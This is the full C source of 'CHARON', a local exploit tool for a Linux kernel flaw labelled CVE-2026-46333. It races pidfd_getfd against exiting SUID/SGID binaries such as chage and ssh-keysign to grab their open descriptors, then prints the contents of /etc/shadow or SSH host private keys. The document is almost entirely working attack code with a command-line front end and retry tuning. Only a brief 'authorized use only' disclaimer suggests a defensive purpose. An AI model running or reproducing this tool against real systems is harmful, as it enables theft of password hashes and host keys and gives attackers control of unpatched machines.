/* * ____ _ _ _ ____ ___ _ _ * / ___|| | | | / \ | _ \ / _ \| \ | | * | | | |_| | / _ \ | |_) | | | | \| | * | |___ | _ |/ ___ \| _ <| |_| | |\ | * \____||_| |_/_/ \_\_| \_\\___/|_| \_| * * ferries file descriptors across the exit-mm() Styx * CVE-2026-46333 / Linux <= 6.12.89 * * "It is a fearful thing to fall into the hands of the living God." * — Hebrews 10:31 * * Charon races pidfd_getfd(2) against a dying SUID-root process to * lift its open /etc/shadow file descriptor through the transient * mm-NULL window in do_exit(): * * do_exit() * ├── exit_mm() ← task->mm = NULL * ├── ... ← __ptrace_may_access() now lies * └── exit_files() ← fd table reaped * * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread, * never dumpable" and short-circuits the dumpable check. The dying * userspace SUID process is briefly indistinguishable from a kernel * thread in that test, so pidfd_getfd(2) succeeds against it and * returns whatever fds it still has open before exit_files() runs. * * If the SUID binary opened /etc/shadow and then setreuid'd to the * attacker uid before exiting, Charon walks home with the fd. * * Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14) * Disclosure: Qualys → oss-security 2026-05-15 * Educational and authorized-defensive use only. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif #define CHARON_VERSION "1.0.0" static const char BANNER[] = "\n" " ____ _ _ _ ____ ___ _ _\n" " / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n" "| | | |_| | / _ \\ | |_) | | | | \\| |\n" "| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n" " \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n" "\n" " ferries fds across the exit-mm() Styx\n" " CVE-2026-46333 / Linux <= 6.12.89\n" "\n"; /* A lure is a SUID-root binary that opens FILE before dropping uid * and exiting. invoking ARGV makes it open FILE deterministically. */ struct lure { const char *path; const char *file; const char *const argv[5]; }; static const struct lure lures[] = { /* chage -l opens /etc/shadow via SGID-shadow on Debian/Ubuntu; * via SUID-root on RHEL family. Either way we ride the elevation. */ { "/usr/bin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, { "/usr/sbin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, /* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication * is enabled; newer builds bail early but still open the file first. */ { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "ssh-keysign", NULL } }, { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", { "ssh-keysign", NULL } }, { NULL, NULL, { NULL } } }; /* CLI state */ static const char *opt_target = NULL; static int opt_quiet = 0; static int opt_verbose = 0; static int opt_rounds = 500; static int opt_inner = 30000; static unsigned long stat_forks = 0; static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */ static unsigned long stat_target_hits = 0; /* matched want_file */ static void msg(const char *prefix, const char *fmt, ...) { if (opt_quiet) return; va_list ap; fprintf(stderr, "%s ", prefix); va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fputc('\n', stderr); fflush(stderr); } static int dump_fd(int fd) { char buf[8192]; ssize_t n; lseek(fd, 0, SEEK_SET); while ((n = read(fd, buf, sizeof(buf))) > 0) { if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1; } fflush(stdout); return n < 0 ? -1 : 0; } static int lure_present(const struct lure *l) { struct stat st; if (stat(l->path, &st) != 0) return 0; /* Accept SUID-anything OR SGID-anything — both trigger the * dumpable flag in execve which is exactly the protection that * the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID * shadow (not SUID root); on RHEL family chage is SUID root. */ if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; return 1; } /* Returns 0 on success (file contents on stdout). Negative codes: * -ENOENT lure binary missing / no setuid|setgid * -ETIME ran out of rounds; primitive is working but lure didn't open want_file * -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */ static int hunt(const struct lure *l, const char *want_file) { if (!lure_present(l)) return -ENOENT; msg("[*]", "lure %s target %s", l->path, want_file); unsigned long getfd_ok_before = stat_getfd_ok; for (int round = 0; round < opt_rounds; round++) { pid_t c = fork(); if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; } if (c == 0) { int dn = open("/dev/null", O_RDWR); if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } execv(l->path, (char *const *)l->argv); _exit(127); } stat_forks++; int pfd = syscall(__NR_pidfd_open, c, 0); if (pfd < 0) { waitpid(c, NULL, 0); continue; } int got = -1; for (int a = 0; a < opt_inner && got < 0; a++) { for (int i = 3; i < 32; i++) { int s = syscall(__NR_pidfd_getfd, pfd, i, 0); stat_getfds++; if (s < 0) continue; stat_getfd_ok++; /* the bug worked at least at the syscall level */ char p[512] = {0}, lk[64]; snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); ssize_t n = readlink(lk, p, sizeof(p) - 1); if (n > 0) p[n] = 0; if (strstr(p, want_file)) { if (opt_verbose) msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); got = s; break; } close(s); } } if (got >= 0) { stat_target_hits++; int rc = dump_fd(got); close(got); close(pfd); waitpid(c, NULL, 0); if (opt_verbose) msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits", stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); return rc; } close(pfd); waitpid(c, NULL, 0); } /* If pidfd_getfd never succeeded against this lure, the primitive * is closed for this binary — likely a patched kernel. */ if (stat_getfd_ok == getfd_ok_before) return -EPERM; return -ETIME; } static void usage(const char *prog) { fprintf(stderr, "CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n" "\n" "Usage: %s [options]\n" "\n" " -t, --target FILE file to read (default: /etc/shadow)\n" " -r, --rounds N max rounds per lure (default: 500)\n" " -i, --inner N inner getfd attempts per round (default: 30000)\n" " -q, --quiet no banner, no progress\n" " -v, --verbose per-hit + final stats\n" " --version print version and exit\n" " -h, --help this help\n" "\n" "Exit codes:\n" " 0 success — file contents on stdout\n" " 1 no built-in lure on this system opens the requested file\n" " 2 kernel appears patched (CVE-2026-46333 closed)\n" " 3 ran out of rounds without a hit (transient — try -r 5000)\n" " 4 CLI / IO error\n" "\n" "For authorized security testing and defensive research only.\n", CHARON_VERSION, prog); } int main(int argc, char **argv) { static const struct option opts[] = { {"target", required_argument, 0, 't'}, {"rounds", required_argument, 0, 'r'}, {"inner", required_argument, 0, 'i'}, {"quiet", no_argument, 0, 'q'}, {"verbose", no_argument, 0, 'v'}, {"version", no_argument, 0, 1 }, {"help", no_argument, 0, 'h'}, {0,0,0,0} }; int o; while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) { switch (o) { case 't': opt_target = optarg; break; case 'r': opt_rounds = atoi(optarg); break; case 'i': opt_inner = atoi(optarg); break; case 'q': opt_quiet = 1; break; case 'v': opt_verbose = 1; break; case 1 : printf("charon %s\n", CHARON_VERSION); return 0; case 'h': usage(argv[0]); return 0; default : usage(argv[0]); return 4; } } if (!opt_target) opt_target = "/etc/shadow"; if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } if (!opt_quiet) fputs(BANNER, stderr); /* Iterate lures whose `file` matches what the user asked for. */ int any_present = 0, all_appear_patched = 1; for (const struct lure *l = lures; l->path; l++) { if (strcmp(l->file, opt_target) != 0) continue; if (!lure_present(l)) continue; any_present = 1; int rc = hunt(l, opt_target); if (rc == 0) return 0; if (rc != -EPERM) all_appear_patched = 0; } if (!any_present) { msg("[!]", "no built-in lure on this system opens %s", opt_target); msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign"); msg(" ", "add a custom lure to lures[] in charon.c for unusual distros"); return 1; } if (all_appear_patched && stat_getfd_ok == 0) { msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded", stat_getfds, stat_forks); msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); return 2; } msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", stat_getfd_ok, opt_target); msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t "); return 3; }